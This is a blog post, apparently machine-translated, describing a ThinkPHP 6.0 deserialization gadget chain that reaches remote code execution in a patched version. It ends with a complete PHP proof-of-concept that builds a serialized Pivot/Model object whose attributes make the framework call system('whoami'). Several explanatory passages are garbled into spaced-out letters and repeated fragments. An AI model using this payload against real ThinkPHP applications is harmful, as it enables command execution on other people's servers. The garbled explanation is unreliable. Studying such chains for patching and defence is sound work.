ThinkPHP6.0 deserialization vulnerability

Posted by Vebut on Fri, 21 Jan 2022 20:32:40 +0100

ThinkPHP6.0 deserialization vulnerability

preface

In learning the master's thinkphp6 Recurrence of deserialization vulnerability in 0. X article I found that the TP version I downloaded was the repaired version. So change the old chain to reach RCE. Before reading this article, let's take a look at the above-mentioned master's article.

Repair place

__ destruct chain triggers go the same way

__ The final utilization point of toString chain is different

In the old version, line 499 else in the trait Attribute is where the dynamic function is finally executed, so you need to bypass the if statement in line 496.

However, when I reproduce it, I find that the new version has been changed. Even if the if statement at 496 is bypassed, the following statements will be judged in the else statement.

if ($closure instanceof \Closure)

It will again judge whether $closure is a closure function, so the original chain is broken here. I can't think of how to bypass this statement.

Loophole recurrence

Suddenly I see a comment that says $close is a dynamic function getter, so I wonder if there are similar statements elsewhere.

$value = $closure($value, $this->data);

So it is found that it is also in line 539 of the trait Attribute. Has a similar structure.

See where the getJsonValue function is called.

I didn't expect it too__ The toString chain is called at line 498, but instead of entering the old chain, we enter the following else statement. So we have to enter the if statement at line 496.. f i l e n a m e yes used chain in filename is in the old chain filename is the key value in this - > data [] in the old chain. Bypass in_array($fieldName, t h i s − > j s o n ) stay This - > JSON) This − > JSON) set a value in this - > JSON to f i l e n a m e ( p s : wrong key value ) . Round too i s a r r a y ( filename(ps: non key value). Bypass is_array( filename(ps: non key value). Bypass isa delay (this - > withattr)[ f i e l d N a m e ] ) ) , fieldName])), fieldName]), this - > withattr [] contains eleven arrays of values whose key value is $fieldName.

Enter getJsonValue.

v a l u e by value is value is this - > data[ f i l e n a m e ] of value . and filename]. and Filename]. And name is the $filename of the previous function

Enter the loop because the above bypasses is_array( t h i s − > w i t h A t t r [ this->withAttr[ this − > withattr [fieldname]), so t h i s − > w i t h A t t r [ this->withAttr[ this − > withattr [fieldname] is the form of an array. Next, set t h i s − > j s o n A s s o c by t r u e . place with can with structure make This - > jsonassoc is true. So it can be constructed This − > jsonassoc is true. Therefore, this - > withattr can be constructed in the following form

private $withAttr = ["key"=>["key1"=>"system"]];

such c l o s u r e Just Obtain have to Yes s y s t e m . see see it of ginseng number closure gets the system. Look at its parameters closure gets the system. Look at its parameter value[ k e y ] , and key], and key], and value is t h i s − > d a t a [ this->data[ This − > the value of data [filename], so $this - > data can be constructed as the following form

 private $data = ["key" => ["key1" => "whoami"]];

[the external chain image transfer fails. The source station may have an anti-theft chain mechanism. It is recommended to save the image and upload it directly (img-dhlu5jiu-1642735407615) (C: \ users \ 86150 \ appdata \ roaming \ typora user images \ image-20220121110540925. PNG)]

Different from the old chain POC, in the trait Attribute

trait Attribute
{
    private $data = ["key" => ["key1" => "whoami"]];
    private $withAttr = ["key"=>["key1"=>"system"]];
    protected $json = ["key"];
}

Add protected $jsonAssoc to Medol; And set its value to true.

abstract class Model
{
    use model\concern\Attribute;
    private $lazySave;
    protected $withEvent;
    private $exists;
    private $force;
    protected $table;
    protected $jsonAssoc;
    function __construct($obj = '')
    {
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->table = $obj;
        $this->jsonAssoc = true;
    }
}

Other conditions are the same.

Complete POC

<?php

namespace think\model\concern;

trait Attribute
{
    private $data = ["key" => ["key1" => "whoami"]];
    private $withAttr = ["key"=>["key1"=>"system"]];
    protected $json = ["key"];
}
namespace think;

abstract class Model
{
    use model\concern\Attribute;
    private $lazySave;
    protected $withEvent;
    private $exists;
    private $force;
    protected $table;
    protected $jsonAssoc;
    function __construct($obj = '')
    {
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->table = $obj;
        $this->jsonAssoc = true;
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);

echo urlencode(serialize($b));

Reproduced screenshot

Topics: PHP security Web Security thinkphp